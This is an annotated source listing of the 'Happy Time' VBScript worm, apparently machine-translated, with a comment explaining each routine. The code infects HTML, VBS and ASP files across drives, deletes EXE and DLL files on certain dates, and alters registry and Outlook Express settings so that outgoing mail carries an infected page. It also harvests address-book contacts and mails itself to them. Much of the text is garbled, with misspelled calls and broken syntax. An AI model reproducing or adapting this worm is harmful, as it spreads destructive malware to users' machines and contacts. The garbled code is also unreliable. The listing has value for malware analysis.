'*************** happy hour ***************
Rem I am Sorry! Happy Time
ON Error ResMe next
MLOAD
'The above is the virus entrance, and adds I am Sorry! Happy Time to indicate that this file has been infected.
Sub mlow ()
ON Error ResMe next
mpath = GRF ()
Set OS = CREATEOBJECT ("scriptlet.typelib")
Set oh = creteObject ("sh * ll .application")
'Establish an enumeration object to avoid security audits
IF iSHTML THEN
'Call the ISHTML function, if it is html, lower-write ...
MURL = LCASE (Document.Location)
IF mpath = "" "
Os.reset
Os.path = "c: /help.htm"
Os.doc = lhtml ()
Os.write ()
'If the mpath is empty, it generates help.htm under the C drive.
IHTML = ""
'Hypertext content, and point to C: / Help.htm
Call Document.Body.insertadjacenthtml ("afterbegin", IHTML)
Else
IF IV (MPath, "Help.vbs") THEN
SetInterval "rt ()", 10000
Else
m = "hta"
IF lcase (m) = Right (MURL, LEN (M)) THEN
ID = setTimeout ("MClose ()", 1)
'Setting timeout conditions
main
Else
Os.reset ()
Os.path = mpath & "/" & "help.hta"
Os.doc = lhtml ()
Os.write ()
IV MPATH, "Help.hta"
'Generate Help.hta
END IF
END IF
END IF
Else
Main
'None, you will execute the main function.
END IF
End Sub
'********************************************************** ******************
'The following is the main function, too long!
Sub main ()
ON Error ResMe next
Set of = createObject ("scripting.filesystemObject")
'Needless to say, create a FileSystemObject object.
Set = creteObject ("scripting.dictionary")
'Create a Dictionary object, used to save the data key and project pair, it is actually a relatively open array
Od.Add "HTML", "1100"
Od.Add "VBS", "0100"
Od.Add "HTM", "1100"
Od.Add "ASP", "0010"
'Adding items to Dictionary objects to infection
Ks = "HKEY_CURRENT_USER / SOFTWARE /"
'Use variables to reduce code length
DS = GRF () cs = GSF ()
IF isvbs then
'If it is VBS
IF of.fileexists ("c: /help.htm") THEN
Of.deletefile ("c: /help.htm")
'If C: / Help.htm exists, delete, eliminate the traces left
END IF
Key = CINT (Month Day (Date))
IF key = 13 THEN
'If the month and the sum of the days are 13 (this is also a variant reason - change 13 to other numbers)
Od.removeall
Od.Add "EXE", "0001"
Od.Add "DLL", "0001"
'Clear the Dictionary array and add the exe, DLL to the Dictionary object, for the deletion
END IF
CN = RG (KS & "Help / Count")
'Read the HKEY_CURRENT_USER / SOFTWARE / HELP / COUNT key value in the registry
IF cn = "" "
CN = 1
'If count is 0, set it to 1
END IF
RW Ks & "Help / Count", CN 1
'Add HKEY_CURRENT_USER / SOFTWARE / HELP / COUNT key value, value 2
F1 = rg (KS & "Help / FileName)
'Read HKEY_CURRENT_USER / SOFTWARE / HELP / FileName key value
F2 = FNEXT (of, OD, F1)
'Get the file name of this file
FEXT = getext (of, OD, F2)
'Get the code of this file extension
RW Ks & "Help / filename", F2
'Add key value
IF isdel (fEXT) THEN
'If the fourth character of the extension of the name is 1 - ie 0001 (Exe, DLL)
F3 = f2
'Storage file name
F2 = FNEXT (of, OD, F2)
'Get the file name of the file?
RW Ks & "Help / filename", F2
'Write registry
Of.deletefile F3
'Delete Files
Else
IF lcase (wscript.scriptfullname <> lcase (f2) THEN
'If it is not a file in a collection
FW of, F2, FEXT
END IF
END IF
IF (CIN) MOD 366) = 0 THEN
IF (CINT (Second (TIME)) MOD 2) = 0 THEN
'Enforce conversion using the CINT function, and send an email
Tsend
Else
Adds = og
Msend (AddS)
END IF
END IF
WP = RG ("HKEY_CURRENT_USER / Control Panel / Desktop / Wallpaper")
IF RG (KS & "Help / Wallpaper") <> wp or wp = "" "
'Is there a change in desktop wallpaper?
IF wp = "" "
N1 = ""
N3 = cs & "/help.htm"
Else
MP = of.getfile (wp) .parentfolder
N1 = of.GetFileName (WP) N2 = of.getBaseName (WP)
N3 = CS & "/" & n2 & ".htm"
END IF
Set pfc = of.createtextfile (n3, true)
MT = SA ("1100")
'Creating a super text
Pfc.write "<" & "html> <" & "body bgcolor = '# 007f7f' background = '" & n1 & "> <
"&" / Body> <"&" / html> "& mt
'Hypertext content
Pfc.close
RW Ks & "Help / Wallpaper", N3
RW "HKEY_CURRENT_USER / Control Panel / Desktop / Wallpaper", N3
'Set the poisoned hypertext to the movable desktop
END IF
Else
Set fc = of.createteTextFile (DS & "/ Help.vbs", true)
Fc.Write SA ("0100")
'Creating a VBS file
fc.close
BF = cs & "/untitled.htm"
SET FC2 = Of.createTextFile (BF, TRUE)
Fc2.write lhtml
Fc2.close
'Creating Untitled.htm under Windows
OEID = RG ("HKEY_CURRENT_USER / IDENTITIIES / DEFAULT User ID")
OE = "HKEY_CURRENT_USER / Identities /" & Oeid & "/ Software / Microsoft / Outlook E
XPRESS / 5.0 / MAIL "
MSH = OE & "/ Message Send HTML"
Cus = OE & "/ compose use stationry"
SN = OE & "/ stationery" "
RW MSH, 1
RW CUS, 1
RW Sn, BF
'In Hkey_Current_User\Identities\ {AECF6CA3-9614-4AF4-AEF2-CT63FE9D97A4} was added at three key \Software\Microsoft\Outlook Express\5.0\Mail Message Send HTML, Compose Use Stationery and Stationery Name, the first two values For 1, the latter pointing to Windows / Untitled.htm
Web = CS & "/ Web"
Set gf = of.getfolder (web) .files
'Get files in the Windows / Web folder
Od.Add "HTT", "1100"
'Add HTT project to Dictionary
For Each M in GF
'Traversing every file under Windows / Web
FEXT = getext (of, OD, M)
'Get the extension of each file
If FEXT <> "" Then "If the extension is not empty, then
FW of, M, FEXT
END IF
NEXT
END IF
End Sub
'********************************************************** ******************
SUB MCLOSE ()
Document.write "<" & "Title> I am Sorry! 'Write I am Sorry and is turned off. Take this as the marker of infection or not
WINDOW.CLOSE
End Sub
'********************************************************** ******************
SUB FW (of, s, n)
'At this time, S is the file name, n is the file extension
DIM FC, FC2, M, MMAIL, MT
ON Error ResMe next
Set fc = of.opentextfile (s, 1)
'Read-only mode opens this file
Mt = fc.readall
'Read all file streams
fc.close
'Close file
IF not sc (mt) THEN
'If you have not been infected
Mmail = ml (MT)
MT = sa (n)
SET FC2 = Of.OpenTextFile (s, 8)
'Open the file and write it at the end of the file
Fc2.write MT
Fc2.close
Msend (mmail)
'Hair poison email
END IF
End Sub
'********************************************************** ******************
Function sc (s)
Mn = "Rem I am Sorry! Happy Time"
IF INSTR (S, MN)> 0 THEN
'If you have Rem I am Sorry! Happy Time in the read file stream
SC = TRUE
Else
SC = False
'Indicates that you have been infected, return TRUE, otherwise you will be False
END IF
END FUNCTION
'********************************************************** ******************
Function Fnext (of, OD, S)
DIM FPATH, FNAME, FEXT, T, GF
ON Error ResMe next
FNAME = ""
T = false
'Initialize variables
IF of.fileexists (s) THEN
'If s exists in the current folder
fpath = of.getfile (s) .parentFolder
'Get the father's directory name
FNAME = S
'Get the file name
Elseif of.folderexists (s) THEN
'Do not exist in the current folder, get the directory name
fpath = s
T = TRUE
Else
FPath = DNEXT (OF, ")
'Get the current drive letter - the root directory
END IF
Do While True
Set gf = of.getfolder (fpat) .files
'Get all file objects in the current directory
For Each M in GF
'Traversing each file
IF t the
IF getExt (Of, OD, M) <> "" "
'If this file is a member of the file collection
FNEXT = M
'Return to this file name, for use - infection or deletion
EXIT FUNCTION
END IF
Elseif Lcase (M) = LCase (FNAME) or FNAME = "" "" If there is no file
T = TRUE
END IF
NEXT
FPath = PNext (of, fpath) '
Loop
END FUNCTION
'********************************************************** ******************
Function PNext (of, s)
ON Error ResMe next
DIM PPATH, NPATH, GP, PN, T, M
T = false
IF of.folderexists (s) THEN
'If you exist if the specified folder
Set gp = of.getfolder (s) .subfolders
'Get the number of sub-directory
Pn = gp.count
IF pn = 0 THEN
'If there is no child directory
PPath = lcase (s) '
Npath = lcase (of.getParentFoldername (s))
'Get lowercase forms of parent catalog
T = TRUE
Else
Npath = lcase (s)
'Has a subdirectory to get a collection of lower-write forms
END IF
Do While Not Er '
For Each Pn In OF.GetFolder (Npath) .subfolders
'Get subdirectory in subdirectory
IF t the
IF ppath = lcase (pn) THEN
T = false
END IF
Else
PNEXT = LCase (PN)
EXIT FUNCTION
END IF
NEXT
T = TRUE
PPath = LCase (NPATH)
'Transform strings into lowercase
Npath = of.getParentFoldername (NPATH) '
IF of.getFolder (PPath) .ssrootfolder then
'If it's root directory
m = of.getdrivename (PPATH)
'Get partitioning
PNEXT = DNEXT (OF, M)
EXIT FUNCTION
END IF
Loop
END IF
END FUNCTION
'********************************************************** ******************
Function DNEXT (of, s)
DIM DC, N, D, T, M
ON Error ResMe next
T = false
m = ""
SET DC = of.drives
'Get all drive characters
For Each D in DC
'Traversing each drive
If D.DriveType = 2 or D.DriveType = 3 THEN
'If it's a network disk or a local disk
IF t the
DNEXT = D
EXIT FUNCTION
'If it is false, return to the current disk and exit this function.
Else
IF lcase (s) = lcase (d) THEN
'If you are true and the same is the same, the T is True
T = TRUE
END IF
IF m = "" "
'If M is empty, pay the disk to M
M = D
END IF
END IF
END IF
NEXT
DNEXT = M
'Back to drive
END FUNCTION
'********************************************************** ******************
Function getext (of, od, s)
DIM FEXT
ON Error ResMe next
FEXT = LCase (of.getextensionName (s))
'Return to this file extension lowercase
GetExt = Od.Item (FEX)
'Return to the key corresponding to the KEY specified in the Dictionary object, etc.
END FUNCTION
'********************************************************** ******************
SUB RW (k, v)
'Write registry
DIM R
ON Error ResMe next
SET R = CreateObject ("wscript.sh * ll")
'Creating an object
R.Regwrite K, V
End Sub
'********************************************************** ******************
Function RG (V)
'Read the registry
DIM R
ON Error ResMe next
SET R = CreateObject ("wscript.sh * ll")
'Creating an object
Rg = R.REGREAD (V)
END FUNCTION
'********************************************************** ******************
Function isvbs ()
'This function is not a VBS file
Dim Ertest
ON Error ResMe next
Errtest = wscript.scriptfullname
IF Err THEN
'If an error, it is not VBS
Isvbs = false
Else
Isvbs = true
END IF
END FUNCTION
'********************************************************** ******************
Function ishtml ()
'This function is judged is an HTML file
Dim Ertest
ON Error ResMe next
Errtest = Document.location
IF Er THEN
Ishtml = false
'If an error, it is not a hypertext
Else
Ishtml = TRUE
END IF
END FUNCTION
'********************************************************** ******************
Function ismail (s)
'This function is not a mail address
DIM M1, M2
Ismail = false
IF INSTR (S, VBCRLF) = 0 THEN
'Returns the position where VBCRLF appears in S, VBCRLF is a newline.
M1 = INSTR (s, "@")
M2 = INSTR (s, ".")
IF m1 <> 0 and m1 'If there is "@" symbol and "@" before "." Is the email address. Ismail = true END IF END IF END FUNCTION '********************************************************** ****************** Function GSF () 'Get a Windows directory DIM OF, M ON Error ResMe next Set of = createObject ("scripting.filesystemObject") "Create a FileSystemObject object m = of.getspecialfolder (0) 'Get special directories - Windows, System, and Temp Directory IF Er THEN 'If you fail, return C: / GSF = "c: /" Else 'If normal, return% windows% GSF = m END IF END FUNCTION '********************************************************** ****************** Function lhtml () 'Write the content of hypertext, where VBCRLF is a wrapper LHTML = "<" HTML "&" <"&" title> Help "<" & "body>" & lscript (lvbs ()) & vbcrlf & _ "<" & "/ Body> end function '********************************************************** ****************** Function Lscript (s) 'Statement of VBScript Lscript = "<" & "script language = 'VBScript'>" & vbrlf & _ S & "<&" / script "&"> " END FUNCTION '********************************************************** ****************** Function SL (S1, S2, N) DIM L1, L2, L3, I L1 = LEN (S1) 'Get the length of the file stream L2 = LEN (S2) 'Get the length of MAILT I = INSTR (S1, S2) 'Find the position of MAILT in the file stream - value is one number IF i> 0 THEN 'Found, string operation L3 = i l2 - 1 IF n = 0 THEN SL = Left (S1, I - 1) Elseif n = 1 THEN SL = RIGHT (S1, L1 - L3) END IF Else SL = "" END IF END FUNCTION '********************************************************** ****************** Function OG () 'Get the email address in the WAB (Address Book) DIM I, N, M (), OM, OO SETOO = CREATEOBJECT ("Outlook.Application") 'Creating Outlook application objects, Outlook and Outlook Express can't run! Set om = oo.getnamespace ("MAPI"). GetDefaultfolder (10) .Items n = om.count Redim M (n) For i = 1 to n M (i - 1) = OM.item (i). Email1address gets the email address in each WAB NEXT OG = m END FUNCTION '********************************************************** ****************** Sub tsend () 'Hair poison email DIM OD, MS, MM, A, M Set = creteObject ("scripting.dictionary") MCONNECT MS, MM Mm.fetchsorted = true Mm.fetch For i = 0 to mm.msgcount - 1 Mm.msgindex = i a = mm.msgorigaddress IF Od.Item (a) = "" "" " Od.Item (a) = mm.msgsubject END IF NEXT For Each M in Od.Keys MM.Compose Mm.msgsubject = "fw:" & od.Item (M) 'Setting the email title Mm.recipaddress = m 'This email is currently target email address Mm.attachmentPathname = GSF & "/untitled.htm" 'Add annex Windows / Untitled.htm Mm.send 'send! NEXT Ms.signoff End Sub '********************************************************** ****************** Function ER () 'Set the wrong trap, avoid the crash, the rigorous style is worth learning IF err.number = 0 THEN ER = FALSE Else Err.clear ER = TRUE END IF END FUNCTION '********************************************************** ****************** Function isdel (s) 'This function checks if the current file is the file type to be deleted. IF MID (S, 4, 1) = 1 THEN 'Whether the fourth character of S is 1 - 0001 (exe and dll) Isdel = true 'If you return true, return to True for deletion Else Isdel = false 'Isn't it, return false? END IF END FUNCTION '********************************************************** ******************
